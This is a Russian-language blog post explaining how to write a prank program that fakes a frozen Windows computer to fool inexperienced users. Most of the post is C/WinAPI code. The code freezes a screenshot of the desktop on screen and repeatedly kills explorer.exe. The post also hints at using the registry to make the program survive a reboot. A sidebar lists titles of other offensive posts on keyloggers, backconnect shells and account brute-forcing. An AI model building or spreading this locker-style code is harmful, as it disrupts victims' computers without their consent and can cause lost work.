Сегодня я решил написать статью о том, как можно создать программу-шутку для неопытных юзверей. Я буду стремится к минималистичному размеру. Программа по моей задумке винлоком, как таковым не является, хоть и очень похожа на него. Мы просто будем эмулировать зависание компьютера — очень тяжелое, и очень грустное, причем мышь и клавиатура будут работать, хоть и клаву опробовать негде…

bugaga 300x231 Пишем шутку

С ТЗ можно сказать, у нас все в порядке. Вот некоторый план: сначала берем и копируем десктопный экран, дальше убиваем эксплорер, а потом контролируем эксплорер и постоянно копируем изображение-скриншот обратно на экран. Вот и вся последовательность. Я сделал два потока, каждый из которых отвечает за определенную операцию.

Вот код программы-заготовки:

#pragma comment(linker,"/OPT:NOWIN98")//Нам не нужен 98

#include 
#include //Это для експлорера

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        HANDLE hProcess[2];
        hProcess[0] = CreateThread(NULL,0,TPaint,NULL,NULL,NULL);
        hProcess[1] = CreateThread(NULL,0,TExplorer,NULL,NULL,NULL);
        WaitForMultipleObjects(2,hProcess,TRUE,INFINITE);
        return 0;
}

Мы будем иметь массив из двух элементов — один элемент, это поток, отвечающий за экран, а второй поток, это поток, который отвечает за то, чтобы эксплорер не встал назад по неведомым причинам. Запускаем сначала тред пайнт, потому что нам нужно сначала сфоткать нормальный десктоп. Ну а дальше по тредам:

//----------------------------------------------------------
DWORD WINAPI TPaint(LPVOID p)
//----------------------------------------------------------
{
        //------------------------------------------------------
        //Создаем переменную для десктопа

        HDC hScreen = CreateDC("DISPLAY", NULL, NULL, NULL);

        int horz = GetDeviceCaps(hScreen, HORZRES);
        int vert = GetDeviceCaps(hScreen, VERTRES);

        //------------------------------------------------------
        //Создаем переменную - копию

        HDC hComp = CreateCompatibleDC(hScreen);

        HBITMAP hbmScreen = CreateCompatibleBitmap(hScreen,horz,vert); 

        //------------------------------------------------------
        //Копируем в копию

        SelectObject(hComp, hbmScreen);

        BitBlt(hComp,0,0,horz, vert,hScreen,0,0,SRCCOPY);

        //------------------------------------------------------
        //Вертаем назат

        while(1)
        {

                BitBlt(hScreen,0,0,horz,vert,hComp,0,0,SRCCOPY);
        }

        //-------------------------------------------------------
        //Идем лесом

        DeleteDC(hComp);

        DeleteDC(hScreen);

        return 0;
}

Здесь вроде ничего, все нормально. Получаем десктопный идентификатор, определяем высоту и ширину экрана, создаем буфер для битмапа, копируем с десктопа в битам, а затем в цикле обратно. Ну и для порядка потом подчищаем, хотя этот код уже врятли выполнится. А сейчас будет тред, отвечающий за експлорер:

//----------------------------------------------------------
DWORD KillProcess(char *szExe)
//----------------------------------------------------------
{
        //------------------------------------------------------
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 entry;
    Process32First(hSnapshot,&entry);
        //------------------------------------------------------
    do
    {
        if(strcmp(entry.szExeFile,szExe)==0)
                {
                        HANDLE ps = OpenProcess(1, FALSE, entry.th32ProcessID);

                        if(ps)
                                TerminateProcess(ps,-1);

            return 1;
                }
    }while(Process32Next(hSnapshot,&entry));
        //------------------------------------------------------
    return 0;
}

//----------------------------------------------------------
DWORD WINAPI TExplorer(LPVOID p)
//----------------------------------------------------------
{
        while(1)
        {
                //--------------------------------------------------
                Sleep(100);
                KillProcess("explorer.exe");
                //--------------------------------------------------
        }
        return 0;
}

Здесь тоже не очень сложно. В цикле убиваем експлорер и ждем. Убиваем експлорер так: перечисляем процессы в цикле пока не наткнемся на експолер, как нашли, так открываем, и затем убиваем. Все. Но здесь кое чего не хватает, а именно: это будет выключатся перезагрузкой. А чтобы это исправить, вы должны немножко поигратся с RegSetValue… Но это уже совсем другая история…

tt twitter big4 Пишем шутку tt digg big4 Пишем шутку tt facebook big4 Пишем шутку tt gmail big4 Пишем шутку tt myspace big4 Пишем шутку tt reddit big4 Пишем шутку

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++